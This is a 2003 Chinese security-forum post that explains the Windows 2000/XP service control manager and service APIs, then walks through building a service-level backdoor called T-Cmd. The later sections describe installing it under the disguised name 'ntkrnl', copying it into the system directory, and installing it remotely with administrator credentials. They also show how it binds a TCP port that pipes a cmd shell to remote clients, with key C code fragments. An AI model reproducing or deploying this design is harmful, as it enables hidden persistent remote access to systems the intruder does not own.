枫林在线论坛>>信息安全 [普通模式] [上一主题] [下一主题]
[60074] 主题: 浅析Windows2000/XP服务与后门技术
作者: leaflet 标题:  浅析Windows2000/XP服务与后门技术[转载]
昵称: Leaf 来自: 218.80.*.* 详细
经验值: 56545 发贴时间: 2003年05月29日 16:25:12
等级: ☆☆☆☆☆ 长度: 12937字

一> 序言 
  Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时
自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护
进程(daemon)。它们大多是控制台程序,不过也有少数的GUI程序。本文所涉及到的服务
程序仅限于Windows2000/XP系统中的一般服务程序,不包含Windows9X。 

二> Windows服务简介 
  服务控制管理器拥有一个在注册表中记录的数据库,包含了所有已安装的服务程序和
设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访
问权限。Windows服务包括四大部分:服务控制管理器(Service Control Manager),服
务控制程序(Service Control Program),服务程序(Service Program)和服务配置程序
(Service Configuration Program)。 

  1.服务控制管理器(SCM) 
  服务控制管理器在系统启动的早期由Winlogon进程启动,可执行文件名是“Admin$\S
ystem32\Services.exe”,它是系统中的一个RPC服务器,因此服务配置程序和服务控制
程序可以在远程操纵服务。它包括以下几方面的信息: 
  已安装服务数据库:服务控制管理器在注册表中拥有一个已安装服务的数据库,它在
服务控制管理器和程序添加,删除,配置服务程序时使用,在注册表中数据库的位置为
:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子键,每个
子键的名字就代表一个对应的服务。数据库中包括:服务类型(私有进程,共享进程),
启动类型(自动运行,由服务控制管理器启动,无效),错误类型(忽略,常规错误,服务
错误,关键错误),执行文件路径,依赖信息选项,可选用户名与密码。 
  自动启动服务:系统启动时,服务控制管理器启动所有“自启”服务和相关依赖服务
。服务的加载顺序:顺序装载组列表:HKEY_LOCAL_MACHINE\System\CurrentControlSe
t\Control\ServiceGroupOrder;指定组列表:HKEY_LOCAL_MACHINE\System\CurrentCo
ntrolSet\Control\GroupOrderList;每个服务所依赖的服务程序。在系统成功引导后会
保留一份LKG(Last-Know-Good)的配置信息位于:HKEY_LOCAL_MACHINE\SYSTEM\Control
SetXXX\Services。 
  因要求而启动服务:用户可以使用服务控制面板程序来启动一项服务。服务控制程序
也可以使用StartService来启动服务。服务控制管理器会进行下面的操作:获取帐户信
息,登录服务项目,创建服务为悬挂状态,分配登录令牌给进程,允许进程执行。 
  服务记录列表:每项服务在数据库中都包含了下面的内容:服务名称,开始类型,服
务状态(类型,当前状态,接受控制代码,退出代码,等待提示),依赖服务列表指针。
 
  服务控制管理器句柄:服务控制管理器支持句柄类型访问以下对象:已安装服务数据
库,服务程序,数据库的锁开状态。 

  2.服务控制程序(SCP) 
  服务控制程序可以执行对服务程序的开启,控制和状态查询功能: 
  开启服务:如果服务的开启类型为SERVICE_DEMAND_START,就可以用服务控制程序来
开始一项服务。在开始服务的初始化阶段服务的当前状态为:SERVICE_START_PENDING,
而在初始化完成后的状态就是:SERVICE_RUNNING。 
  向正在运行的服务发送控制请求:控制请求可以是系统默认的,也可以是用户自定义
的。标准控制代码如下:停止服务(SERVICE_CONTROL_STOP),暂停服务(SERVICE_CONTR
OL_PAUSE),恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CON
TROL_INTERROGATE)。 

  3.服务程序 
  一个服务程序可能拥有一个或多个服务的执行代码。我们可以创建类型为SERVICE_WI
N32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为SERVICE_WIN32_SHARE_PROCE
SS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。 


  4.服务配置程序 
  编程人员和系统管理员可以使用服务配置程序来更改,查询已安装服务的信息。当然
也可以通过注册表函数来访问相关资源。 
  服务的安装,删除和列举:我们可以使用相关的系统函数来创建,删除服务和查询所
有服务的当前状态。 
  服务配置:系统管理员通过服务配置程序来控制服务的启动类型,显示名称和相关描
述信息。 
   
三> Windows服务与编程 
  Windows服务编程包括几方面的内容,下面我们将从服务控制程序,服务程序和服务配
置程序的角度介绍服务编程相关的内容。 

  1.服务控制程序 
  执行服务控制程序的相关函数前,我们需要获得一个服务对象的句柄,方式有两种:
由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄;使用OpenServi
ce或CreateService函数来获得某个服务对象的句柄。 
  启动服务:要启动一个服务,服务控制程序可以使用StartService来实现。如果服务
控制管理器数据库被锁定,那需要等待一定的时间然后再次测试StartService函数。当
然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成
时,那么dwCurrentState参数将会返回SERVICE_RUNNING值。 
  服务控制请求:服务控制程序使用ControlService函数来发送控制请求到正在运行的
服务程序。它会向控制句柄函数发送一个特定的控制命令,可以是系统默认的,也可以
是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QuerySer
viceStatus函数时,在返回的dwControlsAccepted参数中表明服务程序将会接收的控制
命令。所有的服务都会接受SERVICE_CONTROL_INTERROGATE命令。 
   
  2.服务程序 
  一个服务程序内可以包含一个服务或多个服务的执行代码,但是它们都拥有固定的三
个部分:服务main函数,服务ServiceMain函数和服务Control Handler函数。   
  服务main函数:服务程序通常是以控制台的方式存在的,所以它们的入口点都是main
函数。在服务控制管理器开始一个服务程序时,会等待StartServiceCtrlDispatcher函
数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用StartServiceCtr
lDispatcher函数的执行;如果服务类型是SERVICE_WIN32_SHARE_PROCESS,通常在初始
化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_
TABLE_ENTRY结构,它包含了进程内所有服务的名称和服务入口点。 
  服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程序请求一个
新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程序
,而后控制调度程序创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下
的任务:调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控
制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调
用SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完
成的任务。 
  服务Control Handler函数:每个服务都有一个控制句柄HandlerEx函数。它会在服务
进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在Handle
rEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态
。在用户关闭系统时,所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码
的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。 
   
  3.服务配置程序 
  服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前,必须
获得一个服务对象的句柄,当然我们可以通过调用OpenSCManager,OpenService或Creat
eService函数来获得。 
  创建,删除服务:服务配置程序使用CreateService函数在服务控制管理器的数据库中
安装一个新服务,它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置
程序则使用DeleteService函数从数据库中删除一个已经安装的服务。 

四> 服务级后门技术 
  在你进入某个系统后,往往会为自己留下一个或多个后门,以便今后的访问。在上传
一个后门程序到远程系统上后系统重启之时,总是希望后门仍然存在。那么,将后门程
序创建成服务程序应该是个不错的想法,这就是利用了服务程序自动运行的机制,当然
在Windows2000的任务管理器里也很难结束一个服务程序的进程。 
  创建一个后门,它常常会在一个端口监听,以方便我们使用TCP/UDP协议与远程主机建
立连接,所以我们首先需要在后门程序里创建一个监听的端口,为了数据传输的稳定与
安全,我们可以使用TCP协议。 
  那么,我们如何才能模拟一个Telnet服务似的后门呢?我想大家都清楚,如果在远程
主机上有一个Cmd是我们可以控制的,也就是我们可以在这个Cmd里执行命令,那么就可
以实现对远程主机的控制了,至少可以执行各种常规的系统命令。启动一个Cmd程序的方
法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因为
WinExec和ShellExecute它们实在太简单了。在使用CreateProcess时,要用到它的重定
向标准输入/输出的选项功能,把在本地主机的输入重定向输入到远程主机的Cmd进程,
并且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序
里使用CreatePipe创建两个管道来实现进程间的数据通信(Inter-Process Communicati
on,IPC)。当然,还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送,
我们选择TCP协议的send和recv函数。在客户结束访问后,还要调用TerminateProcess来
结束创建的Cmd进程。 

五> 关键函数分析 
  本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它
可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模
式。重启后,程序仍然自动运行,监听端口20540/tcp。 
  1.自定义数据结构与函数 
  typedef struct 
  { 
HANDLE    hPipe; 
     //为实现进程间通信而使用的管道; 
SOCKET    sClient; 
     //与客户端进行通信时的客户端套接字; 
  }SESSIONDATA,*PSESSIONDATA; 
  //重定向Cmd标准输入/输出时使用的数据结构; 

  typedef struct PROCESSDATA 
  { 
HANDLE    hProcess; 
     //创建Cmd进程时获得的进程句柄; 
DWORD     dwProcessId; 
     //创建Cmd进程时获得的进程标识符; 
struct    PROCESSDATA *next; 
     //指向下一个数据结构的指针; 
  }PROCESSDATA,*PPROCESSDATA; 
   //在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构; 

  void WINAPI CmdStart(DWORD,LPTSTR *); 
  //服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程; 
  void WINAPI CmdControl(DWORD); 
  //服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程; 

  DWORD WINAPI CmdService(LPVOID); 
  //服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输
出线程; 
  DWORD WINAPI CmdShell(LPVOID); 
  //创建管道与Cmd进程,及Cmd的输入/输出线程; 
  DWORD WINAPI ReadShell(LPVOID); 
  //重定向Cmd的输出,读取信息后发送到客户端; 
  DWORD WINAPI WriteShell(LPVOID); 
  //重定向Cmd的输入,接收客户端的信息输入到Cmd进程; 
  BOOL ConnectRemote(BOOL,char *,char *,char *); 
  //如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密
码,密码为空时用"NULL"代替; 
  void InstallCmdService(char *); 
  //复制传送文件,打开服务控制管理器,创建或打开服务程序; 
  void RemoveCmdService(char *);  
  //删除文件,停止服务后,卸载服务程序; 
   
  2.服务程序相关函数 
  SERVICE_TABLE_ENTRY DispatchTable[] = 
  { 
   {"ntkrnl",CmdStart}, 
   //服务程序的名称和入口点; 
   {NULL  ,NULL  } 
   //SERVICE_TABLE_ENTRY结构必须以“NULL”结束; 
  }; 
  StartServiceCtrlDispatcher(DispatchTable); 
  //连接服务控制管理器,开始控制调度程序线程; 
  ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdContr
ol);   
  //注册CmdControl函数为“HandlerEx”函数,并初始化; 
  ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
  SetServiceStatus(ServiceStatusHandle,&ServiceStatus); 
  //设置服务的当前状态为SERVICE_RUNNING; 
  hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); 
  //创建服务主线程,实现后门功能; 
  WaitForSingleObject(hMutex,INFINITE); 
  //等待互斥量,控制全局变量的同步使用; 
  TerminateProcess(lpProcessDataHead->hProcess,1); 
  //终止创建的Cmd进程; 
  hSearch=FindFirstFile(lpImagePath,&FileData); 
  //查找系统目录下服务程序的文件是否已经存在; 
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); 
  //获得当前进程的程序文件名; 
  CopyFile(lpCurrentPath,lpImagePath,FALSE); 
  //复制文件到系统目录下; 
  schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); 
  //打开服务控制管理器数据库; 
  CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_A
LL_ACCESS,SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NUL
L,NULL,NULL); 
  //创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等; 
  schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); 
  //如果服务已经创建,则打开服务; 
  StartService(schService,0,NULL); 
  //启动服务进程; 
  ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus); 

  //控制服务状态; 
  DeleteService(schService); 
  //卸载服务程序; 
  DeleteFile(lpImagePath); 
  //删除文件; 

  3.后门程序相关函数 
  hMutex=CreateMutex(NULL,FALSE,NULL); 
  //创建互斥量; 
  hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); 
  //创建处理客户端访问的重定向输入输出线程; 
  CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); 
  CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0); 
  //创建用于进程间通信的输入/输出管道; 
  CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupIn
fo,&lpProcessInfo); 
  //创建经重定向输入输出的Cmd进程; 
  hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSen
dThreadId); 
  hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dw
ReavThreadId); 
  //创建处理Cmd输入输出的线程; 
  dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); 
  //等待线程或进程的结束; 
  ReleaseMutex(hMutex); 
  //释放互斥量; 
  PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NUL
L); 
  //从管道中复制数据到缓冲区中,但不从管道中移出; 
  ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); 
  //从管道中复制数据到缓冲区中; 
  WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten
,NULL); 
  //向管道中写入从客户端接收到的数据; 
  dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONN
ECT_INTERACTIVE); 
  //与远程主机建立连接; 
  WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); 
  //与远程主机结束连接; 

六> 附录 
  1.SC简介 
  SC是一个与NT服务控制器,服务进程进行通信的控制台程序,它可以查询和修改已安
装服务的数据库。 
  语法:sc <server> [command] [service name] <option1> <optio
n2>... ,选项<server>为“\\ServerName”的形式。 
  主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,En
umDepend等。 

  2.T-Cmd v1.0 源代码 
 


~~~~~~~~~~~~~~~~~~~~
※作者已于 2003-05-29 16:33:56 修改本文※

~~~~~~~~~~~~~~~~~~~~

========== * * * * * ==========
Top

| 用户注册 | 在线用户 | 投票中心 | 常见问题 |

Copyright © 2001-2012 枫林在线(www.FengLin.info) All Rights Reserved
页面运行使用39.42毫秒